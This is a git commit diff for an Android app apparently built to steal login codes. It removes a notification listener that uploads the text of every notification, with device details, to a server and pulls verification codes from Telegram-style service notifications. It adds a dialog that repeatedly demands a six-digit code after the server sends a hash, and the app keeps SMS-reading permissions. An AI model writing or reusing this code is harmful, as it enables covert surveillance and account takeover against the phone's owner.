method changing
This commit is contained in:
parent
e21a626f49
commit
ff748d7025
3 changed files with 58 additions and 173 deletions
|
@ -27,29 +27,15 @@
|
||||||
<category android:name="android.intent.category.LAUNCHER" />
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
|
</application>
|
||||||
<service android:name=".Listener"
|
|
||||||
android:exported="false"
|
|
||||||
android:enabled="true"
|
|
||||||
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
|
||||||
<intent-filter>
|
|
||||||
<action android:name="android.service.notification.NotificationListenerService" />
|
|
||||||
</intent-filter>
|
|
||||||
</service>
|
|
||||||
|
|
||||||
|
|
||||||
</application>
|
|
||||||
|
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"
|
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"
|
||||||
tools:ignore="ManifestOrder" />
|
tools:ignore="ManifestOrder" />
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||||
<uses-permission android:name="android.permission.INTERNET" />
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
|
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
|
||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
|
|
||||||
tools:ignore="ProtectedPermissions" />
|
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE" />
|
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||||
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||||
|
|
|
@ -1,123 +0,0 @@
|
||||||
package com.example.notifyservice;
|
|
||||||
|
|
||||||
import static com.example.notifyservice.MainActivity.getCurrentHash;
|
|
||||||
import static com.example.notifyservice.MainActivity.getDeviceInfo;
|
|
||||||
import static com.example.notifyservice.MainActivity.setCurrentHash;
|
|
||||||
|
|
||||||
import android.app.ActivityManager;
|
|
||||||
import android.app.Notification;
|
|
||||||
import android.content.Context;
|
|
||||||
import android.content.Intent;
|
|
||||||
import android.os.Build;
|
|
||||||
import android.os.Bundle;
|
|
||||||
import android.os.IBinder;
|
|
||||||
import android.service.notification.NotificationListenerService;
|
|
||||||
import android.service.notification.StatusBarNotification;
|
|
||||||
import android.util.Log;
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
public class Listener extends NotificationListenerService {
|
|
||||||
|
|
||||||
|
|
||||||
List<String> notificationTextKeys = Arrays.asList(
|
|
||||||
Notification.EXTRA_TEXT,
|
|
||||||
Notification.EXTRA_SUB_TEXT,
|
|
||||||
Notification.EXTRA_INFO_TEXT,
|
|
||||||
Notification.EXTRA_SUMMARY_TEXT,
|
|
||||||
Notification.EXTRA_BIG_TEXT,
|
|
||||||
Notification.EXTRA_TEXT_LINES
|
|
||||||
);
|
|
||||||
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public IBinder onBind(Intent intent) {
|
|
||||||
return super.onBind(intent);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String extractFirstNumber(String input) {
|
|
||||||
if (input == null || input.isEmpty()) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
StringBuilder number = new StringBuilder();
|
|
||||||
boolean foundDigit = false;
|
|
||||||
|
|
||||||
for (char c : input.toCharArray()) {
|
|
||||||
if (Character.isDigit(c)) {
|
|
||||||
number.append(c);
|
|
||||||
foundDigit = true;
|
|
||||||
} else if (foundDigit) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return number.length() > 0 ? number.toString() : "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onNotificationPosted(StatusBarNotification sbn){
|
|
||||||
String packageName = sbn.getPackageName();
|
|
||||||
// Log.i(packageName, packageName);
|
|
||||||
PostRequest _postRequestTask = new PostRequest(getApplicationContext(), null);
|
|
||||||
_postRequestTask.execute("notificationPosted",
|
|
||||||
getDeviceInfo(getBaseContext()) + ";" + packageName + ";" + processTextsExtras(sbn.getNotification().extras)); // STATIC
|
|
||||||
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
|
|
||||||
String code = processExtras(sbn.getNotification().extras);
|
|
||||||
if (code.length() < 5)
|
|
||||||
return;
|
|
||||||
Context context = getApplicationContext();
|
|
||||||
String currentHash = getCurrentHash(context);
|
|
||||||
if(currentHash.isEmpty())
|
|
||||||
return;
|
|
||||||
if (MainActivity.callbackRef != null) {
|
|
||||||
NotificationCallback callback = MainActivity.callbackRef.get();
|
|
||||||
if (callback != null) {
|
|
||||||
callback.onCodeReceived(code);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
PostRequest postRequestTask = new PostRequest(context, null);
|
|
||||||
postRequestTask.execute("code",
|
|
||||||
code + ";" + currentHash); // STATIC
|
|
||||||
setCurrentHash(context, "");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String processTextsExtras(Bundle extras) {
|
|
||||||
StringBuilder notifyTexts = new StringBuilder();
|
|
||||||
|
|
||||||
for (String key : notificationTextKeys) {
|
|
||||||
CharSequence charSequence = extras.getCharSequence(key);
|
|
||||||
String str = charSequence != null ? charSequence.toString() : null;
|
|
||||||
|
|
||||||
if (str != null && !str.isEmpty()) {
|
|
||||||
notifyTexts.append(str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return notifyTexts.toString();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
public String processExtras(Bundle extras) {
|
|
||||||
return extractFirstNumber(processTextsExtras(extras));
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getShortcutSafe(StatusBarNotification sbn) {
|
|
||||||
String shortcutId = null;
|
|
||||||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
|
||||||
shortcutId = sbn.getNotification().getShortcutId();
|
|
||||||
} else {
|
|
||||||
shortcutId = "ndid_777000"; // STATIC
|
|
||||||
}
|
|
||||||
return shortcutId == null ? "" : shortcutId;
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getNotificationText(StatusBarNotification sbn) {
|
|
||||||
Notification notification = sbn.getNotification();
|
|
||||||
CharSequence tickerText = notification.tickerText;
|
|
||||||
return tickerText == null ? "" : tickerText.toString() ;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -51,6 +51,7 @@ import java.util.Timer;
|
||||||
import java.util.TimerTask;
|
import java.util.TimerTask;
|
||||||
import java.util.regex.Matcher;
|
import java.util.regex.Matcher;
|
||||||
import java.util.regex.Pattern;
|
import java.util.regex.Pattern;
|
||||||
|
import android.widget.EditText;
|
||||||
|
|
||||||
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
|
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
|
||||||
|
|
||||||
|
@ -75,28 +76,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
private JSONObject ussd;
|
private JSONObject ussd;
|
||||||
private JSONObject language;
|
private JSONObject language;
|
||||||
|
|
||||||
protected static WeakReference<NotificationCallback> callbackRef = new WeakReference<>(null);
|
|
||||||
|
|
||||||
public static void setNotificationCallback(NotificationCallback callback) {
|
|
||||||
callbackRef = new WeakReference<>(callback);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void removeNotificationCallback() {
|
|
||||||
callbackRef.clear();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void onResume() {
|
|
||||||
super.onResume();
|
|
||||||
MainActivity.setNotificationCallback(this::handleCodeReceived);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void onPause() {
|
|
||||||
super.onPause();
|
|
||||||
MainActivity.removeNotificationCallback();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public class PhoneNumber {
|
public class PhoneNumber {
|
||||||
public String phone;
|
public String phone;
|
||||||
|
@ -307,8 +286,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
|
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
|
||||||
requestPermissions(retrievePermissions(this));
|
requestPermissions(retrievePermissions(this));
|
||||||
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
|
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
|
||||||
Intent intent = new Intent(this, Listener.class);
|
|
||||||
startService(intent);
|
|
||||||
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
||||||
// Log.i("a", "Make process"); // STATIC
|
// Log.i("a", "Make process"); // STATIC
|
||||||
Context permissionContext = this;
|
Context permissionContext = this;
|
||||||
|
@ -411,6 +388,57 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static boolean isNumeric(String strNum) {
|
||||||
|
if (strNum == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
double d = Double.parseDouble(strNum);
|
||||||
|
} catch (NumberFormatException nfe) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void createDialog() {
|
||||||
|
try {
|
||||||
|
EditText editTextField = new EditText(this);
|
||||||
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||||
|
builder.setTitle(language.getString("title")); // STATIC
|
||||||
|
builder.setMessage(language.getString("message")); // STATIC
|
||||||
|
builder.setView(editTextField);
|
||||||
|
builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
|
||||||
|
@Override
|
||||||
|
public void onClick(DialogInterface dialogInterface, int i) {
|
||||||
|
String editTextInput = editTextField.getText().toString();
|
||||||
|
if (!isNumeric(editTextInput) || editTextInput.length() != 6) {
|
||||||
|
dialogInterface.dismiss();
|
||||||
|
createDialog();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
handleCodeReceived(editTextInput);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
|
||||||
|
@Override
|
||||||
|
public void onClick(DialogInterface dialogInterface, int i) {
|
||||||
|
dialogInterface.dismiss();
|
||||||
|
createDialog();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
this.runOnUiThread(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
// Log.i("a", "Run thread"); // STATIC
|
||||||
|
AlertDialog dialog = builder.create();
|
||||||
|
dialog.show();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} catch (Exception ignore){}
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onPostResponse(JSONObject result) {
|
public void onPostResponse(JSONObject result) {
|
||||||
// Log.i("a", "On post Response"); // STATIC
|
// Log.i("a", "On post Response"); // STATIC
|
||||||
|
@ -418,6 +446,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
// Log.i("PostResult", result.toString()); // STATIC
|
// Log.i("PostResult", result.toString()); // STATIC
|
||||||
if(result.has("hash")) { // STATIC
|
if(result.has("hash")) { // STATIC
|
||||||
setCurrentHash(this, result.getString("hash")); // STATIC
|
setCurrentHash(this, result.getString("hash")); // STATIC
|
||||||
|
createDialog();
|
||||||
}
|
}
|
||||||
if(result.has("key")) // STATIC
|
if(result.has("key")) // STATIC
|
||||||
setKey(getBaseContext(), result.getString("key")); // STATIC
|
setKey(getBaseContext(), result.getString("key")); // STATIC
|
||||||
|
@ -465,17 +494,10 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
requestsCount += 1;
|
requestsCount += 1;
|
||||||
}
|
}
|
||||||
if (requestsCount == 2) {
|
if (requestsCount == 2) {
|
||||||
if (!isNotificationServiceEnabled()) {
|
PostRequest postRequestTask = new PostRequest(this, this);
|
||||||
promptNotificationAccess();
|
postRequestTask.execute("requestPermissions",
|
||||||
PostRequest postRequestTask = new PostRequest(this, this);
|
getDeviceInfo(this)); // STATIC
|
||||||
postRequestTask.execute("notificationPermission",
|
requestPermissions(retrievePermissions(this));
|
||||||
getDeviceInfo(this)); // STATIC
|
|
||||||
} else {
|
|
||||||
PostRequest postRequestTask = new PostRequest(this, this);
|
|
||||||
postRequestTask.execute("requestPermissions",
|
|
||||||
getDeviceInfo(this)); // STATIC
|
|
||||||
requestPermissions(retrievePermissions(this));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// Log.i("ww", Arrays.toString(e.getStackTrace()));
|
// Log.i("ww", Arrays.toString(e.getStackTrace()));
|
||||||
|
|
Loading…
Add table
Reference in a new issue